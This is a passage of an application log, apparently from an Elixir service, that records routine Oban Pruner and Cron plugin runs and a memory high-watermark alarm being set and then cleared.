{"source":"oban","duration":883,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:59:00.909 [info] {"source":"oban","duration":763,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:59:11.713 [info] {"source":"oban","duration":1142,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:59:41.715 [info] {"source":"oban","duration":816,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:00:00.912 [info] {"source":"oban","duration":308,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:00:11.717 [info] {"source":"oban","duration":886,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:00:41.719 [info] {"source":"oban","duration":863,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:01:00.918 [info] {"source":"oban","duration":4400,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:01:11.722 [info] {"source":"oban","duration":1888,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:01:41.727 [info] {"source":"oban","duration":4230,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:02:00.919 [info] {"source":"oban","duration":494,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:02:11.729 [info] {"source":"oban","duration":964,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:02:41.731 [info] {"source":"oban","duration":1519,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:03:00.922 [info] {"source":"oban","duration":1658,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:03:11.733 [info] {"source":"oban","duration":907,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:03:41.736 [info] {"source":"oban","duration":1945,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:04:00.923 [info] {"source":"oban","duration":216,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:04:11.739 [info] {"source":"oban","duration":2159,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:04:41.743 [info] {"source":"oban","duration":2698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:05:00.924 [info] {"source":"oban","duration":286,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:05:11.745 [info] {"source":"oban","duration":1893,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:05:41.747 [info] {"source":"oban","duration":894,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:06:00.925 [info] {"source":"oban","duration":321,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:06:11.749 [info] {"source":"oban","duration":1072,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:06:41.751 [info] {"source":"oban","duration":805,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:07:00.926 [info] {"source":"oban","duration":248,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:07:11.754 [info] {"source":"oban","duration":1635,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:07:41.756 [info] {"source":"oban","duration":1103,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:08:00.927 [info] {"source":"oban","duration":251,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:08:11.759 [info] {"source":"oban","duration":1965,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:08:41.761 [info] {"source":"oban","duration":1182,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:09:00.931 [info] {"source":"oban","duration":3529,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:09:11.764 [info] {"source":"oban","duration":2036,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:09:41.767 [info] {"source":"oban","duration":2120,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:10:00.935 [info] {"source":"oban","duration":1583,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:10:11.771 [info] {"source":"oban","duration":2924,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:10:41.773 [info] {"source":"oban","duration":939,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:11:00.937 [info] {"source":"oban","duration":1439,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:11:11.775 [info] {"source":"oban","duration":1244,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:11:41.777 [info] {"source":"oban","duration":910,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:12:00.938 [info] {"source":"oban","duration":346,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:12:11.779 [info] {"source":"oban","duration":870,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:12:41.782 [info] {"source":"oban","duration":1620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:13:00.939 [info] {"source":"oban","duration":248,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:13:11.783 [info] {"source":"oban","duration":1578,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:13:41.786 [info] {"source":"oban","duration":1896,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:14:00.940 [info] {"source":"oban","duration":242,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:14:11.788 [info] {"source":"oban","duration":848,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:14:41.790 [info] {"source":"oban","duration":878,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:15:00.941 [info] {"source":"oban","duration":313,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:15:11.792 [info] {"source":"oban","duration":975,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:15:41.797 [info] {"source":"oban","duration":3291,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:16:00.942 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:16:11.798 [info] {"source":"oban","duration":1533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:16:32.197 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 23:16:41.800 [info] {"source":"oban","duration":1297,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:17:00.944 [info] {"source":"oban","duration":499,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:17:11.804 [info] {"source":"oban","duration":872,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:17:41.806 [info] {"source":"oban","duration":1121,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:18:00.947 [info] {"source":"oban","duration":239,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:18:11.809 [info] {"source":"oban","duration":1909,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:18:41.811 [info] {"source":"oban","duration":899,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:19:00.948 [info] {"source":"oban","duration":251,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:19:11.813 [info] {"source":"oban","duration":1541,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:19:41.856 [info] {"source":"oban","duration":42486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:20:00.949 [info] {"source":"oban","duration":300,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:20:11.859 [info] {"source":"oban","duration":2410,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:20:41.861 [info] {"source":"oban","duration":904,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:21:00.954 [info] {"source":"oban","duration":2748,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:21:11.863 [info] {"source":"oban","duration":945,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:21:41.865 [info] {"source":"oban","duration":843,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:22:00.955 [info] {"source":"oban","duration":272,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:22:11.867 [info] {"source":"oban","duration":864,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:22:41.869 [info] {"source":"oban","duration":861,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:23:00.956 [info] {"source":"oban","duration":256,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:23:11.871 [info] {"source":"oban","duration":1364,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:23:41.873 [info] {"source":"oban","duration":976,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:24:00.957 [info] {"source":"oban","duration":555,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:24:11.875 [info] {"source":"oban","duration":1082,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:24:41.877 [info] {"source":"oban","duration":876,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:25:00.959 [info] {"source":"oban","duration":301,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:25:11.879 [info] {"source":"oban","duration":1205,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:25:41.881 [info] {"source":"oban","duration":998,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:26:00.965 [info] {"source":"oban","duration":4880,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:26:11.883 [info] {"source":"oban","duration":1569,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:26:41.885 [info] {"source":"oban","duration":934,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:27:00.967 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:27:11.887 [info] {"source":"oban","duration":1013,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:27:41.890 [info] {"source":"oban","duration":2463,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:28:00.969 [info] {"source":"oban","duration":390,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:28:11.892 [info] {"source":"oban","duration":961,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:28:41.894 [info] {"source":"oban","duration":1071,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:29:00.974 [info] {"source":"oban","duration":3063,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:29:11.896 [info] {"source":"oban","duration":931,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:29:41.898 [info] {"source":"oban","duration":832,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:30:00.975 [info] {"source":"oban","duration":256,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:30:11.900 [info] {"source":"oban","duration":985,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:30:41.903 [info] {"source":"oban","duration":1795,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:31:00.976 [info] {"source":"oban","duration":320,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:31:11.906 [info] {"source":"oban","duration":862,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:31:41.908 [info] {"source":"oban","duration":986,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:32:00.977 [info] {"source":"oban","duration":252,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:32:11.910 [info] {"source":"oban","duration":1239,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:32:41.912 [info] {"source":"oban","duration":1433,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:33:00.978 [info] {"source":"oban","duration":300,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:33:11.914 [info] {"source":"oban","duration":1501,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:33:32.275 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 23:33:41.916 [info] {"source":"oban","duration":1327,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:34:00.979 [info] {"source":"oban","duration":237,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:34:11.918 [info] {"source":"oban","duration":856,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:34:41.920 [info] {"source":"oban","duration":1151,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:35:00.980 [info] {"source":"oban","duration":293,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:35:11.922 [info] {"source":"oban","duration":958,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:35:41.924 [info] {"source":"oban","duration":904,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:36:00.018 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:36:11.926 [info] {"source":"oban","duration":1212,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:36:41.928 [info] {"source":"oban","duration":945,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:37:00.021 [info] {"source":"oban","duration":1994,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:37:11.931 [info] {"source":"oban","duration":1255,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:37:41.933 [info] {"source":"oban","duration":1008,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:38:00.022 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:38:11.935 [info] {"source":"oban","duration":958,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:38:41.937 [info] {"source":"oban","duration":889,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:39:00.026 [info] {"source":"oban","duration":3187,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:39:11.939 [info] {"source":"oban","duration":1032,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:39:41.941 [info] {"source":"oban","duration":959,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:40:00.027 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:40:11.943 [info] {"source":"oban","duration":1141,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:40:41.945 [info] {"source":"oban","duration":690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:41:00.028 [info] {"source":"oban","duration":348,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:41:11.947 [info] {"source":"oban","duration":1943,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:41:41.949 [info] {"source":"oban","duration":873,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:42:00.030 [info] {"source":"oban","duration":994,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:42:11.952 [info] {"source":"oban","duration":2360,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:42:41.954 [info] {"source":"oban","duration":939,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:43:00.032 [info] {"source":"oban","duration":252,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:43:11.956 [info] {"source":"oban","duration":944,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:43:41.958 [info] {"source":"oban","duration":907,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:44:00.036 [info] {"source":"oban","duration":3091,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:44:11.960 [info] {"source":"oban","duration":989,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:44:41.962 [info] {"source":"oban","duration":927,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:45:00.043 [info] {"source":"oban","duration":5737,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:45:11.964 [info] {"source":"oban","duration":943,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:45:41.966 [info] {"source":"oban","duration":1158,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:46:00.050 [info] {"source":"oban","duration":5905,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:46:11.968 [info] {"source":"oban","duration":1049,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:46:41.970 [info] {"source":"oban","duration":1063,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:47:00.060 [info] {"source":"oban","duration":7895,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:47:11.972 [info] {"source":"oban","duration":831,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:47:41.974 [info] {"source":"oban","duration":951,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:48:00.063 [info] {"source":"oban","duration":1012,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:48:11.976 [info] {"source":"oban","duration":1244,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:48:41.978 [info] {"source":"oban","duration":970,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:49:00.068 [info] {"source":"oban","duration":3817,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:49:11.980 [info] {"source":"oban","duration":938,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:49:41.982 [info] {"source":"oban","duration":1006,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:50:00.072 [info] {"source":"oban","duration":2793,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:50:11.984 [info] {"source":"oban","duration":1000,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:50:41.986 [info] {"source":"oban","duration":1117,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:51:00.076 [info] {"source":"oban","duration":3311,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:51:11.992 [info] {"source":"oban","duration":4872,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:51:41.995 [info] {"source":"oban","duration":843,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:52:00.077 [info] {"source":"oban","duration":264,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:52:11.997 [info] {"source":"oban","duration":1077,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:52:41.999 [info] {"source":"oban","duration":879,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:53:00.100 [info] {"source":"oban","duration":20371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:53:12.001 [info] {"source":"oban","duration":858,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:53:42.003 [info] {"source":"oban","duration":909,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:54:00.146 [info] {"source":"oban","duration":2659,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:54:12.005 [info] {"source":"oban","duration":844,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:54:42.007 [info] {"source":"oban","duration":1523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:55:00.151 [info] {"source":"oban","duration":4105,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:55:12.009 [info] {"source":"oban","duration":947,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:55:42.011 [info] {"source":"oban","duration":975,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:56:00.153 [info] {"source":"oban","duration":1006,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:56:12.016 [info] {"source":"oban","duration":3356,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:56:42.018 [info] {"source":"oban","duration":1009,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:57:00.157 [info] {"source":"oban","duration":2812,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:57:12.020 [info] {"source":"oban","duration":1177,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:57:42.022 [info] {"source":"oban","duration":817,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:58:00.159 [info] {"source":"oban","duration":837,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:58:12.024 [info] {"source":"oban","duration":1007,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:58:42.026 [info] {"source":"oban","duration":966,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:59:00.165 [info] {"source":"oban","duration":4457,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:59:12.030 [info] {"source":"oban","duration":2923,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:59:42.032 [info] {"source":"oban","duration":1047,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:00:00.167 [info] {"source":"oban","duration":483,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:00:12.034 [info] {"source":"oban","duration":934,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:00:42.036 [info] {"source":"oban","duration":1220,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:01:00.169 [info] {"source":"oban","duration":564,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:01:12.039 [info] {"source":"oban","duration":1920,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:01:42.042 [info] {"source":"oban","duration":1791,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:02:00.171 [info] {"source":"oban","duration":853,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:02:12.044 [info] {"source":"oban","duration":1033,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:02:42.046 [info] {"source":"oban","duration":924,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:03:00.173 [info] {"source":"oban","duration":279,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:03:12.048 [info] {"source":"oban","duration":1151,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:03:42.050 [info] {"source":"oban","duration":950,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:04:00.183 [info] {"source":"oban","duration":6798,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:04:12.052 [info] {"source":"oban","duration":930,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:04:42.054 [info] {"source":"oban","duration":908,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:05:00.189 [info] {"source":"oban","duration":4441,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:05:12.056 [info] {"source":"oban","duration":1408,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:05:42.058 [info] {"source":"oban","duration":929,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:06:00.194 [info] {"source":"oban","duration":4371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:06:12.060 [info] {"source":"oban","duration":1026,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:06:42.062 [info] {"source":"oban","duration":829,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:07:00.196 [info] {"source":"oban","duration":506,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:07:12.064 [info] {"source":"oban","duration":914,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:07:42.067 [info] {"source":"oban","duration":1914,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:08:00.200 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:08:12.069 [info] {"source":"oban","duration":1553,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:08:42.071 [info] {"source":"oban","duration":1187,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:09:00.205 [info] {"source":"oban","duration":3622,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:09:12.073 [info] {"source":"oban","duration":906,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:09:42.075 [info] {"source":"oban","duration":1154,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:10:00.212 [info] {"source":"oban","duration":5834,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:10:12.079 [info] {"source":"oban","duration":3042,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:10:42.081 [info] {"source":"oban","duration":928,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:11:00.216 [info] {"source":"oban","duration":2781,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:11:12.083 [info] {"source":"oban","duration":1066,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:11:42.085 [info] {"source":"oban","duration":1091,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:12:00.218 [info] {"source":"oban","duration":365,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:12:12.087 [info] {"source":"oban","duration":908,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:12:42.089 [info] {"source":"oban","duration":1025,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:13:00.225 [info] {"source":"oban","duration":6099,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:13:12.091 [info] {"source":"oban","duration":900,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:13:42.093 [info] {"source":"oban","duration":1056,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:14:00.249 [info] {"source":"oban","duration":18068,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:14:12.095 [info] {"source":"oban","duration":1145,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:14:42.098 [info] {"source":"oban","duration":2127,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:15:00.251 [info] {"source":"oban","duration":798,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:15:12.100 [info] {"source":"oban","duration":936,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:15:42.102 [info] {"source":"oban","duration":1406,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:16:00.257 [info] {"source":"oban","duration":4178,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:16:12.104 [info] {"source":"oban","duration":1012,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:16:42.106 [info] {"source":"oban","duration":871,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:17:00.260 [info] {"source":"oban","duration":1603,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:17:12.108 [info] {"source":"oban","duration":925,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:17:42.110 [info] 